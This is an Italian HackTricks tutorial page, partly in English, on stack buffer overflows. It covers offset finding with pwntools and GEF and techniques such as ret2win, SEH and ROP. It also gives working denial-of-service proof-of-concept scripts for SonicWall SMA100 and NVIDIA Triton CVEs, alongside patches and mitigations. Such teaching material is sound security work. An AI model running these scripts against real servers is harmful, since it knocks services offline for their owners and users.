Stack Overflow

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cos'è uno Stack Overflow

Un stack overflow è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso sovrascriveranno le aree di memoria adiacenti, causando la corruzione di dati validi, l'interruzione del flusso di controllo e, potenzialmente, l'esecuzione di codice malevolo. Questo problema si presenta spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sull'input.

Il problema principale di questa sovrascrittura è che il puntatore di istruzione salvato (EIP/RIP) e il puntatore base salvato (EBP/RBP) per tornare alla funzione precedente sono memorizzati nello stack. Di conseguenza, un attaccante potrà sovrascriverli e controllare il flusso di esecuzione del programma.

La vulnerabilità di solito sorge perché una funzione copia nello stack più byte di quanti ne siano stati allocati per essa, riuscendo così a sovrascrivere altre parti dello stack.

Alcune funzioni comunemente vulnerabili a questo sono: strcpy, strcat, sprintf, gets... Inoltre, funzioni come fgets, read & memcpy che prendono un argomento di lunghezza, potrebbero essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.

Ad esempio, le seguenti funzioni potrebbero essere vulnerabili:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Trovare gli offset di Stack Overflows

Il modo più comune per individuare stack overflows è fornire un input molto grande di A (es. python3 -c 'print("A"*1000)') e attendersi un Segmentation Fault che indica che si è tentato di accedere all'indirizzo 0x41414141.

Inoltre, una volta trovata una vulnerabilità di Stack Overflow dovrai trovare l'offset necessario per poter sovrascrivere l'indirizzo di ritorno; a questo scopo si usa di solito una De Bruijn sequence. Per un alfabeto di dimensione k e sottosequenze di lunghezza n, essa è una sequenza ciclica in cui ogni possibile sottosequenza di lunghezza n appare esattamente una volta come sottosequenza contigua.

In questo modo, invece di dover determinare manualmente quale offset sia necessario per controllare l'EIP, è possibile usare come padding una di queste sequenze e poi trovare l'offset dei byte che l'hanno sovrascritta.

È possibile usare pwntools per questo:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

o GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Sfruttare Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to sovrascrivere i valori delle variabili locali nello stack fino a raggiungere i saved EBP/RBP and EIP/RIP (or even more).
Il modo più comune per sfruttare questo tipo di vulnerabilità è modificare l'address di ritorno in modo che quando la funzione termina il flusso di controllo venga reindirizzato dove l'utente ha specificato in questo puntatore.

Tuttavia, in altri scenari potrebbe essere sufficiente semplicemente sovrascrivere alcuni valori di variabili nello stack per l'exploitation (come in semplici challenge CTF).

Ret2win

In questo tipo di challenge CTF, c'è una function all'interno del binary che non viene mai chiamata e che devi chiamare per vincere. Per queste challenge devi solo trovare l'offset per sovrascrivere l'address di ritorno e trovare l'indirizzo della function da chiamare (di solito ASLR è disabilitato) così quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata:

Ret2win

Stack Shellcode

In questo scenario l'attacker può posizionare uno shellcode nello stack e sfruttare l'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. L'exploitation tipicamente sostituisce il puntatore SEH con un POP POP RET gadget e utilizza il campo nSEH di 4 byte per un salto breve che riporta nella large buffer dove risiede lo shellcode. Un pattern comune è un short jmp in nSEH che atterra su un near jmp di 5 byte posizionato subito prima di nSEH per saltare di centinaia di byte indietro all'inizio del payload.

Windows Seh Overflow

ROP & Ret2... techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che termineranno eseguendo comandi arbitrari abusando delle istruzioni esistenti nel binary:

ROP - Return Oriented Programing

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Heap Overflow

Tipi di protezioni

Esistono diverse protezioni che cercano di impedire lo sfruttamento delle vulnerabilità, consultale in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Una buona dimostrazione del perché sscanf should never be trusted for parsing untrusted input è apparsa nel 2025 nell'appliance SonicWall SMA100 SSL-VPN. La routine vulnerabile all'interno di /usr/src/EasyAccess/bin/httpd tenta di estrarre la version e l'endpoint da qualsiasi URI che inizi con /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. La prima conversione (%2s) memorizza in modo sicuro due byte in version (es. "v1").
  2. La seconda conversione (%s) non ha un specificatore di lunghezza, quindi sscanf continuerà a copiare fino al primo NUL byte.
  3. Poiché endpoint si trova sullo stack ed è lungo 0x800 byte, fornire un path più lungo di 0x800 byte corrompe tutto ciò che si trova dopo il buffer ‑ inclusi lo stack canary e il saved return address.

Una single-line proof-of-concept è sufficiente per causare il crash prima dell'autenticazione:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Anche se gli stack canaries interrompono il processo, an attacker ottiene comunque una Denial-of-Service primitive (e, con additional information leaks, possibly code-execution). La lezione è semplice:

  • Fornire sempre una larghezza massima del campo (es. %511s).
  • Preferire alternative più sicure come snprintf/strncpy_s.

Esempio reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA Triton Inference Server (≤ v25.06) conteneva multiple stack-based overflows raggiungibili tramite la sua HTTP API. Il pattern vulnerabile appariva ripetutamente in http_server.cc e sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) restituisce il numero di internal buffer segments che compongono l'attuale corpo della richiesta HTTP.
  2. Ogni segmento provoca l'allocazione di un evbuffer_iovec da 16-byte sul stack tramite alloca()senza alcun limite superiore.
  3. Abusando di HTTP chunked transfer-encoding, un client può forzare la richiesta a essere suddivisa in centinaia di migliaia di 6-byte chunks ("1\r\nA\r\n"). Questo fa sì che n cresca senza limiti fino all'esaurimento dello stack.

Proof-of-Concept (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e causare il crash del daemon in una build predefinita.

Patch e mitigazione

La release 25.07 sostituisce l'allocazione non sicura sullo stack con una heap-backed std::vector e gestisce in modo elegante std::bad_alloc:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Lezioni apprese:

  • Non chiamare mai alloca() con dimensioni controllate dall'attaccante.
  • Le richieste chunked possono cambiare drasticamente la forma dei buffer lato server.
  • Valida / limita qualsiasi valore derivato dall'input del client prima di usarlo nelle allocazioni di memoria.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks